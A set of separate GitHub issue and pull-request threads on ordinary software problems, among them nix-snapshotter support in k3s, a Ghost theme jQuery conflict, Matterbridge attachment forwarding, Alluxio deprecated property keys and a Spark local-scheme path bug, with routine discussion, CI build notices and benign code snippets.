Verification

[ ] Add a target to Dockerfile to copy the k3s binary to the nixos/nix docker image, to enable quick verification of k3s + nix-snapshotter

Testing

[ ] Integration test to be added

User-Facing Change
Add nix-snapshotter plugin to the embedded containerd to enable rootless k3s + nix-snapshotter

Further Comments
Currently still work-in-progress, but wanted to start the conversation whether k3s has the appetite for including nix support. As noted in #9309, in rootless mode the only way is to use the embedded containerd, so rootless k3s + nix-snapshotter is only possible via a contribution.
See this for an exciting feature of nix-snapshotter as an image service that enables fully declarative pods (down to the contents of the container image). An image like nix:0/nix/store/f8b1hia3hcqwa5d46anzy3cszi3s6ybk-nix-image-redis.tar is resolved by nix-snapshotter, which is a merkle hash of the Nix packages that make up the image tarball.

This is interesting; can you describe in more detail how it might be useful, and when it can be used?
See the eStargz documentation for an example of what sort of info we might be looking for before adding another snapshotter.

Nix is a package manager / build system that has a complete understanding of build & runtime inputs for every package. Nix packages are stored in a global hashed path like: /nix/store/s66mzxpvicwk07gjbjfw9izjfa797vsw-hello-2.12.1. Packages usually follow a FHS convention, so Nix packages are typically directories containing other directories like bin, share, etc. For example, the hello binary would be available via /nix/store/s66mzxpvicwk07gjbjfw9izjfa797vsw-hello-2.12.1/bin/hello.
Runtime dependencies down to glibc are also inside /nix/store, so it really has a complete dependency graph. In the case of hello, the complete closure is following:
/nix/store/3n58xw4373jp0ljirf06d8077j15pc4j-glibc-2.37-8
/nix/store/fz2c8qahxza5ygy4yvwdqzbck1bs3qag-libidn2-2.3.4
/nix/store/q7hi3rvpfgc232qkdq2dacmvkmsrnldg-libunistring-1.1
/nix/store/ryvnrp5n6kqv3fl20qy2xgcgdsza7i0m-xgcc-12.3.0-libgcc
/nix/store/s66mzxpvicwk07gjbjfw9izjfa797vsw-hello-2.12.1

If you inspect its ELF data, you can indeed see its linked against that specific glibc:
$ readelf -d /nix/store/s66mzxpvicwk07gjbjfw9izjfa797vsw-hello-2.12.1/bin/hello | grep runpath
 0x000000000000001d (RUNPATH)            Library runpath: [/nix/store/3n58xw4373jp0ljirf06d8077j15pc4j-glibc-2.37-8/lib]

This means that a root filesystem containing that closure is sufficient to run hello. This is similar to minimal images containing a statically compiled go binary or like distroless which leverages bazel to the same effect.
Kubernetes is a great orchestration engine for minimal Nix images, but currently the Nix packages need to be compressed into Docker layer tarballs. There are some heuristics to split Nix packages across layers to improve deduplication but because overlayfs has a 128 layer limit there's bound to be layers containing multiple Nix packages.
Nix-snapshotter is a containerd snapshotter that natively understands Nix packages. It provides a library to build special OCI images with tiny layers that contain the Nix package closure in the annotations field. The Nix daemon understands S3 and HTTP binary caches to fetch packages by hash, so nix-snapshotter leverages those protocols to download packages and returns a list of bind mounts that make up the container root filesystem. Since nix-snapshotter is built on top of the overlayfs one, it maintains compatibility with all existing images and also allow hybrid images where some layers can be regular tarballs and some contain Nix package annotations.
For teams that deploy to both bare metal & Kubernetes, this is a huge boon to maintain a single stack and the overhead of containerization is just a few kilobytes of metadata (in the OCI manifest). Most teams using Nix already upload all their artifacts to a binary cache or S3, but also have to re-upload essentially the same data to a Docker registry backend. Lastly, since nix-snapshotter pulls at a package granularity, it's strictly more efficient than Docker's layer granularity. Faster pulls and less storage costs.
See the README and architecture docs for more details. There is also a HackerNews discussion.

@brandond We have it working end-to-end now in a qemu VM with k3s built with our patches. It did require also forking github.com/k3s-io/containerd because k3s's containerd fork doesn't have the patches we contributed to containerd.
For example in k3s master, we're currently pinned on v1.7.11-k3s2:
https://github.com/k3s-io/k3s/blob/master/go.mod#L9
Since this can happen asynchronously, wanted to bring up early that we need these two cherry picks into k3s-io/containerd branches maintained for k3s:

fb786b2f17b2c7d7ea5d9c9009d980bc03379952 (https://github.com/containerd/containerd/pull/8945)
a617005750ecf0ee77c538706d54b213205c94eb (https://github.com/containerd/containerd/pull/9028)

Are those patches in containerd v1.7.13? If so we can look at updating to that for the March releases.

Are those patches in containerd v1.7.13? If so we can look at updating to that for the March releases.

It's been merged for a while now but looks like it's only been cherry-picked to v2.0.0-beta.0 and onwards.

Ah. I'm not sure when exactly we'll go to 2.0.

Ah. I'm not sure when exactly we'll go to 2.0.

I've started an issue in containerd to see if we can get it cherry-picked to v1.7.x series: https://github.com/containerd/containerd/issues/9826
In the mean time, we can maintain our patches for NixOS.

@brandond I've managed to cherry-pick those changes into the next containerd 1.7 release! Once that is live & k3s picks up that release, would you be open to accepting this PR? I can look into adding integration tests similar to stargz-snapshotter.
See: https://github.com/containerd/containerd/issues/9826#issuecomment-1958582414

@brandond The patches are in containerd v1.7.14. Could you let me know when v1.7.14-k3s2 is ready?

@hinshun Are you still working on this at all?

Hi @dereknola! It's been a while but it looks like k3s finally picked up my patches to containerd so this work is now unblocked. Will be working on this.


Click on like button on squeak card propagates to outer link

When any action icon is clicked, the squeak card link is also clicked.

Answer here is to use prevent default
https://stackoverflow.com/questions/62696245/how-to-stop-propagation-on-link-elements-from-react-router-dom

https://github.com/squeaknode/squeaknode/pull/2004


Added new school

Request for a new educational institute: Duisburg Landfermann Gymnasium - https://landfermann.de/. The "Informatik" course is a 2 years course which include programming and web technologies themes

@Russellmd First stage of verification passed, official domain for Landfermann Gymnasium is landfermann-gym.eu as far as I verified. This is just an informational note. Pull request is still in the review. I appreciate your patience while waiting for the final decision.

@Russellmd Thank you for your patience while waiting for a review and processing your request. Pull request merged.

Thank you @philipto , the approval process was much faster as I expected. Accounts with Landfermann emails can be already created. Tested and confirmed.


Implement Dataset Summary

Context
Parent Issue: #40
The type of Implementation: New feature (non-breaking change which adds functionality)
On the download page, there is a section called "Dataset Summary" that needs to be created.
Problem or idea
Mockup: Download Pages
( Dataset Summary )

Based on the mockup, we'll build the dataset summary section.
Solution or next step

Create a component for the dataset summary
Create any sub-components or helpers as necessary

This feature branch will be created based on the #57 branch, thank you!


OwlCarousel is not a function error in the console

I loaded the theme into the admin interface of my Ghost installation, and I'm getting the following error:
jquery-3.5.1.min.js:2 Uncaught TypeError: $(...).owlCarousel is not a function
    at featured (main.js:129)
    at HTMLDocument.<anonymous> (main.js:15)
    at e (jquery-3.5.1.min.js:2)
    at t (jquery-3.5.1.min.js:2)

The featured posts are then not displayed. The <div class="featured-feed owl"> has a CSS property of display:none;
I'm not sure where to search next. And hint? Thanks!

Hi @minimaluminium, thanks for the answer.
Somehow, it has to do with the Blog-import function. I have a ghost pro hosted blog. I want to try Ghost4.0 locally before upgrading. Checking if my theme isn't broken etc.
I exported the 3.x blog and loaded it locally in 4.x. That's probably the problem. Before the import, the featured posts work fine. Afterwards it is screwed.
I thought I would get only the posts through the export, but somehow, some Settings are coming with it.
If I upgrade my hosten Blog, I expect the export to work, but I won't be able to test the theme first 😅
Tim

👋  hello again,
Hmm, I doubt this error has something to do with import process. It looks like the error comes from the theme itself. Would you be able to download your theme from the admin, and share the link with me?

Hi @minimaluminium, I finally found the problem
I was injecting an older version of JQuery via the "Code Injection" settings.


Some messages are forwarded with empty text

I have configured matterbriedge to read from a MatterMost channel and forward all messages to a Slack channel and both channels are authorized via token. It is working in general and with debuggin turned on I can see a successful forward with these two lines:
DEBU[2016-11-01T15:17:05Z] WsReceiver: model.WebSocketEvent{TeamId:"x19n6d4ci7fe7nzw6858h7tsao", ChannelId:"yw3boa6kti8apria5n3rjhmgsy", UserId:"uzmgsembwprgmkce96xgxgpj1y", Event:"posted", Data:map[string]interface {}{"sender_name":"jurgenhaas", "team_id":"x19n6d4ci7fe7nzw6858h7tsao", "channel_display_name":"Gentner DevOp", "channel_type":"P", "mentions":"[\"uzmgsembwprgmkce96xgxgpj1y\"]", "post":"{\"id\":\"e6xcj66i8fbi9gumpb9n8aft6c\",\"create_at\":1478013425517,\"update_at\":1478013425517,\"delete_at\":0,\"user_id\":\"uzmgsembwprgmkce96xgxgpj1y\",\"channel_id\":\"yw3boa6kti8apria5n3rjhmgsy\",\"root_id\":\"\",\"parent_id\":\"\",\"original_id\":\"\",\"message\":\"jurgenhaas commented on [issue #1](https://gitlab.paragon-es.de/ansible-inventories/gentner/issues/1#note_3484) in [AnsibleInventories/gentner](https://gitlab.paragon-es.de/ansible-inventories/gentner): *Define ElastAlerts for system updates*\",\"type\":\"slack_attachment\",\"props\":{\"attachments\":[{\"color\":\"#345\",\"text\":\"A new field `hostname` is now included for all hosts that are not the ElasticSearch host itself.\"}],\"from_webhook\":\"true\",\"override_username\":\"GitLab\"},\"hashtags\":\"\",\"filenames\":[],\"pending_post_id\":\"\"}"}}  module=matterclient
DEBU[2016-11-01T15:17:05Z] Sending config.Message{Text:"jurgenhaas commented on [issue #1](https://gitlab.paragon-es.de/ansible-inventories/gentner/issues/1#note_3484) in [AnsibleInventories/gentner](https://gitlab.paragon-es.de/ansible-inventories/gentner): *Define ElastAlerts for system updates*", Channel:"general", Username:"[mattermost] <jurgenhaas> ", Origin:"paragon", FullOrigin:"mattermost.paragon", Protocol:"mattermost"} from mattermost.paragon (gentner-devop) to slack.paragon (general)

However, all messages submitted by ElastAlert via webhook look like this:
DEBU[2016-11-01T15:31:53Z] WsReceiver: model.WebSocketEvent{TeamId:"x19n6d4ci7fe7nzw6858h7tsao", ChannelId:"yw3boa6kti8apria5n3rjhmgsy", UserId:"uzmgsembwprgmkce96xgxgpj1y", Event:"posted", Data:map[string]interface {}{"sender_name":"jurgenhaas", "team_id":"x19n6d4ci7fe7nzw6858h7tsao", "channel_display_name":"Gentner DevOp", "channel_type":"P", "post":"{\"id\":\"owrzny7h1pyc3edwupg8kh613r\",\"create_at\":1478014313517,\"update_at\":1478014313517,\"delete_at\":0,\"user_id\":\"uzmgsembwprgmkce96xgxgpj1y\",\"channel_id\":\"yw3boa6kti8apria5n3rjhmgsy\",\"root_id\":\"\",\"parent_id\":\"\",\"original_id\":\"\",\"message\":\"\", \"type\":\"slack_attachment\",\"props\":{\"attachments\":[{\"color\":\"danger\",\"fields\":[],\"text\":\"Apache Restart\\n\\n\",\"title\":\"Apache Restart\"}],\"from_webhook\":\"true\",\"override_username\":\"elastalert\"},\"hashtags\":\"\",\"filenames\":[],\"pending_post_id\":\"\"}"}}  module=matterclient
DEBU[2016-11-01T15:31:53Z] Sending config.Message{Text:"", Channel:"general", Username:"[mattermost] <jurgenhaas> ", Origin:"paragon", FullOrigin:"mattermost.paragon", Protocol:"mattermost"} from mattermost.paragon (gentner-devop) to slack.paragon (general)

So the text being forwarded is empty. Comparing the incoming data in both examples above, I can see that for the second case the field message is missing, although the correct message text is available as a field text and title.
Any idea on how that could be fixed?

It's because the ElastAlert is using attachment to send the text instead of a normal message.
This is at the moment not supported, but PR's are welcome for this.

Unfortunately I'm not into Go, but I found a way in ElastAlert to put some relevant parts of the message into the text as well. Thanks for the hint.


Global and hierarchical state

I love this rustic implementation of parser using TryFrom but it needs a global state e.g. to support IMPLICIT/EXPLICIT/AUTOMATIC TAGS that will affect all sub structures

Can you link and/or explain what the differences is between IMPLICIT/EXPLICIT/AUTOMATIC TAGS is? With uPER this didn't really matter until now

Yeah, as I said before, there is a  good post in let's encrypt for that:
https://letsencrypt.org/docs/a-warm-welcome-to-asn1-and-der/#explicit-vs-implicit

Hey @kellerkindt,
Could you find spare time to look at this?

TBH, I did not. I don't have a lot of time left over to work on this at the moment. But I want to at some point - maybe at or until chirstmas I will have some spare time for this. Regarding the state tracking and from what I have seen while glossing over the linked article, wouldn't it fit better in the Model type with an additional field?

Cross referencing for #34


How can I display an image generated with gulp depending on the client's device?

I just created a Jekyll blog with your theme and wanted to add images in post.
After running gulp on an image, I found the generated thumbnails in assets/img/posts/.
├── img
│   ├── favicon.jpg
│   ├── icons
│   │   ├── android-chrome-192x192.png
│   │   ├── android-chrome-256x256.png
│   │   ├── apple-touch-icon.png
│   │   ├── browserconfig.xml
│   │   ├── favicon-16x16.png
│   │   ├── favicon-32x32.png
│   │   ├── favicon.ico
│   │   ├── icon-github.svg
│   │   ├── icon-instagram.svg
│   │   ├── icon-twitter.svg
│   │   ├── manifest.json
│   │   ├── mstile-150x150.png
│   │   └── safari-pinned-tab.svg
│   └── posts
│       ├── emile-perron-190221.jpg
│       ├── emile-perron-190221_lg.jpg
│       ├── emile-perron-190221_md.jpg
│       ├── emile-perron-190221_placehold.jpg
│       ├── emile-perron-190221_sm.jpg
│       ├──<EMAIL_ADDRESS>│       ├── emile-perron-190221_thumb.jpg
│       ├── emile-perron-190221_xs.jpg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715.jpeg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_lg.jpeg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_md.jpeg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_placehold.jpeg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_sm.jpeg
│       ├──<EMAIL_ADDRESS>│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_thumb.jpeg
│       ├── Macaca_nigra_self-portrait_large-e1524567086123-1100x715_xs.jpeg
│       ├── shane-rounce-205187.jpg
│       ├── shane-rounce-205187_lg.jpg
│       ├── shane-rounce-205187_md.jpg
│       ├── shane-rounce-205187_placehold.jpg
│       ├── shane-rounce-205187_sm.jpg
│       ├──<EMAIL_ADDRESS>│       ├── shane-rounce-205187_thumb.jpg
│       ├── shane-rounce-205187_xs.jpg
│       ├── sleek.jpg
│       ├── sleek_lg.jpg
│       ├── sleek_md.jpg
│       ├── sleek_placehold.jpg
│       ├── sleek_sm.jpg
│       ├──<EMAIL_ADDRESS>│       ├── sleek_thumb.jpg
│       └── sleek_xs.jpg
└── js
    └── bundle.js

I could link one of the jpeg in a new post with : ![alt text](/assets/img/posts/image.jpeg) but didn't find any info in your documentation about how to properly add them so that the correct thumbnail is displayed depending on the device...
I saw that for post previews, we could just add the image name and your theme would do it.
How can I display an image generated with gulp depending on the client's device?

@lukalafaye  to achieve you would need to adjust gulpfile to generate a set of new images for the post body. Then inside markdown of your post, you could use regular html, add the an image tag with srcset attribute or use a  tag instead.
Right now the post previews on the homepage are using srcset attribute to load images corresponding to the device pixel ration (1x and 2x).

I could generate a set of new images. I'll try using html but it'd be great if the theme could support md local image links. (I can try making a PR if you'd like)
Would the html way of adding some automatically display images depending on the device?

Hey @lukalafaye sure a PR would be nice. I don't know if it would be possible to have responsive images with just md markup right out out the box. However it can be easily done with html:
eg.:
<picture>
  <source media="(min-width: 800px)" srcset="image.jpg<EMAIL_ADDRESS>2x">
  <source media="(min-width: 450px)" srcset="image-medium.jpg<EMAIL_ADDRESS>2x">
  <img src="image-small.jpg"<EMAIL_ADDRESS>2x">
</picture>

Have a look at the picture tag docs. Of course that would be quite annoying to write all this for each image inside the article post, so if you have a better solution - I would be keen to hear it 🙂

Thanks a lot! I really like the theme and it'd be great if we could support md image links so that they are responsive :+1:
You can close the issue and I'll make a PR if I find a way of implementing that!


ADD: Content Filtering

Should merge Chris/resize-images first - fixes data length cap and passes tests

@madisonmay @anneCarlson code review before merge?

This looks good to me, but take my R knowledge with several grains of salt.

I just don't know what we're doing with image resizing. That could be the only thing left here


NOJIRA: Parameters getting lost in Linux

On the Jenkins servers, the parameters to the swig
command were getting lost after a source of nvm.
Gonna store and use them later.

merge this bish


Update tool call accuracy.

ref: #1658.
Two updates:

bug fix of #1658
metric of ToolCallParallelAccuracy

Yeah. Really good point, as current ToolCallParallelAccuracy is highly inherited from the original ToolCallAccuracy.

Hey @MattZ-99 An update on our side, as you agreed we want to add both in one interface. ie to to toolcallaccuracy itself. But we need to find the best way for user's specify which calls should be parallel and in sequence. We will work together and make it happen, if you have any ideas please feel to share it here.

Hi @shahules786 , I have thought about it. A straightforward idea is add a parameter like ordered_tool_call which controls 'parallel' or 'sequencial' function call. What do u think about it?  Or could you share your code?


PHP Language - Hello World From Indonesian

What does the program do ?
Hello World
In what programming language it is written?
PHP

Thank you for participating  in hacktoberfest ❣ if you liked working on this repo you can share it with friends and star this project for helping others


Choose a better color for colliding object that isn't selected

The greys are too close in color to tell apart.

Fixed in https://github.com/eyal0/OctoPrint-Slicer/commit/4bb6510c4a54be5f4f60643ac46622403e2e8132


Splitview needs overflowing behaviour

Issue Type: Bug
I have a 1680x1050 monitor and set to 150% scale. I'm contributing a new view to the Azure view container and found the newly added view could not show up when there're too many views already. I can't shrink spaces for top 4 views any more and the view container can't be scrolled to see the views at the bottom.

VS Code version: Code 1.29.1 (bc24f98b5f70467bc689abf41cc5550ca637088e, 2018-11-15T19:13:36.375Z)
OS version: Windows_NT x64 10.0.17763

System Info

Item
Value

CPUs
Intel(R) Xeon(R) CPU E5-1620 v4 @ 3.50GHz (8 x 3492)

GPU Status
2d_canvas: enabledchecker_imaging: disabled_offflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: disabled_softwarerasterization: enabledvideo_decode: enabledvideo_encode: enabledwebgl: enabledwebgl2: enabled

Memory (System)
31.92GB (18.44GB free)

Process Argv
.

Screen Reader
no

VM
0%

Extensions (20)

Extension
Author (truncated)
Version

gitlens
eam
9.0.1

tslint
eg2
1.0.40

docker-explorer
for
0.1.6

rest-client
hum
0.20.4

vscode-azureappservice
ms-
0.10.0

vscode-azurefunctions
ms-
0.12.1

vscode-azurestorage
ms-
0.4.2

vscode-cosmosdb
ms-
0.9.1

mssql
ms-
1.4.0

azure-account
ms-
0.6.2

azurecli
ms-
0.4.2

cpptools
ms-
0.20.1

csharp
ms-
1.17.1

PowerShell
ms-
1.9.0

vscode-node-azure-pack
ms-
0.0.5

azurerm-vscode-tools
msa
0.4.2

vscode-docker
Pet
0.4.0

partial-diff
ryu
1.4.0

azure-iot-toolkit
vsc
1.7.1

vscode-arduino
vsc
0.2.23

@joaomoreno Looks like this is know overflow issue in Split view. Any suggestion how to tackle this?

No suggestion really... if the views don't fit in the splitview, there isn't much we could do besides enabling the splitview to scroll. When doing so, you'll risk having scrollbars inside scrollbars... which might end up not being such a big problem. We'd have to try it out.

Any update on this? This is painful for extensions using the view because users don't even realize that some of the sections exist. Windows is typically setting 150% or 200% scale on laptops these days so the issue is very common.


Track deprecated property keys and warn users of their use

This change aims to expand on the current support we have for
annotated PropertyKeys. Currently, property keys are only
annotated as @java.lang.Deprecated and any extra info is
included within the generated javadoc. This however isn't
sufficient if we want to warn users at runtime about a key being
deprecated or removed.
This change adds two new custom annotations which allows
property keys to be marked as @alluxio.conf.Deprecated which
gives the ability to set a deprecation message. The other one is
@alluxio.conf.Removed which is similar to deprecated but
denotes PropertyKeys that have been completely removed from
use.
The messages within the annotations are provided to users via log
warning or an exception message if a key is marked as @Deprecated
or @Removed. When either annotation is provided on a key the
configuration validation step is responsible for logging a warning in
the case of @Deprecated or throwing a RuntimeException for
@Removed. Keys that reside in RemovedKeys.java are there for
historical purposes and shouldn't be used.

@apc999 PTAL if you have time. This is in a draft state, so design is not final. Just working through a first iteration.
Please open a ticket so we can track this issue in the future. Thanks.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/2539/
Test FAILed.

Thanks @ZacBlanco  . I will review this PR and provides my comments.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3066/
Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3067/
Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3077/
Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3078/
Test FAILed.

Merged build finished. Test FAILed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3079/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3122/
Test PASSed.

Build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3211/
Test FAILed.

Build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3213/
Test FAILed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3412/
Test FAILed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3420/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3485/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3507/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3603/
Test PASSed.

@apc999 can you merge?

@apc999 ping!

alluxio-bot, merge this please


Question: How to access metadata?

Previous versions of this api (0.0.6) allowed directly access to the metadata property on node-castv2-client. Is it still possible to do this?

AFAIK no, but we can revive it, if the use-case is solid enough.


Unicode text in PDF

Generated PDF for unicode texts, will be fail.
If you use this table:
a                   b
test           سلام
The output PDF will be:
a                   b
test           ????

I have encountered the same problem.. and still have no ideas。。。

As noted in the posts I linked to, this is a limitation in the AlivePDF library.
The good news is that I've been working on a replacement to TableTools which uses a different library to create the PDFs. It will only support IE10+ (and all the other browsers of course), but it will support unicode.
Will be released by the middle of the month.

Any new news?

Buttons replaced TableTools in 2015. TableTools is no longer in development/ Buttons does support UTF8 characters in the PDF HTML5 export.


Fold cache poc

IMPORTANT: Please do not create a Pull Request without creating an issue first.
Before submitting (must do checklist)

[ ] Did you read the contribution guide?
[ ] Did you update the docs? We use Numpy format for all the methods and classes.
[ ] Did you write any new necessary tests?
[ ] Did you update the CHANGELOG?

Type of Change

[ ] Examples / docs / tutorials / contributors update
[ ] Bug fix (non-breaking change which fixes an issue)
[ ] Improvement (non-breaking change which improves an existing feature)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Proposed Changes

Related Issue

Closing issues

from etna.datasets import TSDataset, generate_ar_df
from etna.pipeline import Pipeline
from etna.ensembles import StackingEnsemble
from etna.models import CatBoostModelMultiSegment, LinearPerSegmentModel, NaiveModel
from etna.transforms import StandardScalerTransform, LagTransform, SegmentEncoderTransform, TimeSeriesImputerTransform, DateFlagsTransform
from etna.metrics import SMAPE, MAE
from etna.analysis import plot_backtest, plot_forecast
from copy import deepcopy
import warnings

warnings.filterwarnings("ignore")

df = generate_ar_df(periods=500, start_time="2021-01-01", n_segments=20)

ts = TSDataset.to_dataset(df[["target", "segment", "timestamp"]])

ts = TSDataset(ts, freq="D")

pipe_naive_one = Pipeline(model=NaiveModel(7), horizon=7)
pipe_naive_two = Pipeline(model=NaiveModel(1), horizon=7)

stack_pipe = StackingEnsemble(
    pipelines=[
        pipe_naive_one, pipe_naive_two
    ], n_jobs=1, joblib_params=dict(verbose=0, backend="multiprocessing", mmap_mode="c"), n_folds=2
)

stack_pipe_copy = deepcopy(stack_pipe)
import time
import shelve

with shelve.open('counter') as db:
    db['counter'] = 0

start = time.monotonic()

metrics, _ , _ = stack_pipe.backtest(ts, n_jobs=1, n_folds=2, metrics=[MAE()], joblib_params=dict(verbose=0, backend="multiprocessing", mmap_mode="c"))

print(time.monotonic() - start)

with shelve.open('counter') as db:
    print(db['counter'])

print(metrics.MAE.mean())

Run with enabled cache ETNA_CACHE=1 python script.py


Uncaught TypeError: Cannot set property '_documentURL' of null

This error appears in case the request to a remote asset fails for some reason.
error log:

Uncaught TypeError: Cannot set property '_documentURL' of null

setDocumentData @ xml3d-4.9.1.js:6106
processResponse @ xml3d-4.9.1.js:6080
xmlHttp.onreadystatechange @ xml3d-4.9.1.js:6056

We need better error handling here, I've scheduled this for the resource manager overhaul in 5.1

All the models that used to work throw this error on chrome, except one. Mozilla works. Any ideas?

This error usually means the request for the xml resource succeeded (by returning a status code 200) but the response text couldn't be parsed into XML.
I would check to make sure your server is sending the right Content-Type header (text/xml for instance) and that the .xml files are valid. If that doesn't help you could link one of the models that don't work and I'll take a look.

Update. It works on windows chrome, but not on linux chrome. Same thing on internet explorer 11 for windows. Only the model that works everywhere works. I don't parse any headers but with the previous version of xml3d they worked on ubuntu. I work with meanjs.
URL working model: http://<IP_ADDRESS>:9000/api/v1/artefacts/55e1b046557c501074b2de5e/embed
URL not working model: http://<IP_ADDRESS>:9000/api/v1/artefacts/55e1b046557c501074b2de64/embed
I have checked both xml files but I cannot find something. Thanks in advanced.

@7xo : I think in your case, the second model exceed the valid size for a valid XML request (buffer size). A possible workaround is splitting those meshes or using a different encoding. This is related to binary assets (#143), which is WIP.

I think you 're right. I will check it and let you know. Thank you for your support!

I found a solution. I tried to find out about blast but unfortunately with no result. There is lack of information and tools as @ksons mentioned. So I aborted blast, although it could be extremely useful and I checked the javascript code. I found out that responseXML was null but responseText wasn't. So I replaced the line
response = httpRequest.responseXML;
With
var parser = new DOMParser();
response = parser.parseFromString(httpRequest.responseText, "application/xml");
Now everything works fine. Thank you again for your support!


[SPARK-24195][Core] Bug fix for local:/ path in SparkContext.addFile

What changes were proposed in this pull request?
In the chagnes in SPARK-6300, essentially it change schemePath to
new File(path).getCanonicalFile.toURI.toString

. This has problem when path is local:, as java.io.File doesn't handle it.
eg.
new File("local:///home/user/demo/logger.config").getCanonicalFile.toURI.toString
res1: String = file:/user/anotheruser/local:/home/user/demo/logger.config
How was this patch tested?
Add test in SparkContextSuite.

cc @felixcheung. Please take a look about this when you have time. Thanks.

Test build #91682 has started for PR 21533 at commit f922fd8.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/32/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution/3922/
Test PASSed.

cc @jiangxb1987 @jerryshao

Seems fine to me.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/97/
Test PASSed.

Test build #91780 has started for PR 21533 at commit 797cefe.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution/3988/
Test PASSed.

Test build #91780 has finished for PR 21533 at commit 797cefe.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/91780/
Test PASSed.

LGTM except for the comment from @HyukjinKwon

Just take another look on this issue. I think the fix is just to make it work, but not make it work correctly.
The fix here and the original code actually treats scheme "local" to "file", actually they're different in Spark.
In Spark "local" scheme means resources are already on the driver/executor nodes, which means Spark doesn't need to ship resources from driver to executors via fileserver. But here it treats as "file" which will be shipped via fileserver to executors. This is semantically not correct.
I think for "local" scheme, the fix should:

Make it accessible both from driver and executors via SparkFiles#get. By copying resource to the folders.
It should not be added into fileServer.

Exactly I agree with ^. It should be the best to implement that logic. I thought it seems we have never implemented "local" logic as described so far. So, I thought it's kind of okay.

"local" scheme was supported long ago for users who already deploy jars on every node. HDI heavily uses this feature.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/258/
Test PASSed.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution/4153/
Test PASSed.

Test build #92001 has started for PR 21533 at commit 5daf804.

@jerryshao Great thanks for your review and detailed explain, based on your guidance, I found the behavior about the file in local scheme added in fileServer was introduced by this PR: https://github.com/apache/spark/commit/c4b1108c3f9658adebbdf8508d325528c3206f16#diff-364713d7776956cb8b0a771e9b62f82dL1023.
So my last commit try to fix this as your guidance, keep the same behavior of local scheme file before https://github.com/apache/spark/commit/c4b1108c3f9658adebbdf8508d325528c3206f16, please help me check whether it is the correct semantics we want. Thanks!

@jerryshao Great thanks for your review and detailed explain, based on your guidance, I found the behavior about the file in local scheme added in fileServer was introduced by the PR https://github.com/apache/spark/commit/c4b1108c3f9658adebbdf8508d325528c3206f16, and before that, the file in local scheme is treated as local files: https://github.com/apache/spark/commit/c4b1108c3f9658adebbdf8508d325528c3206f16#diff-364713d7776956cb8b0a771e9b62f82dL1023.
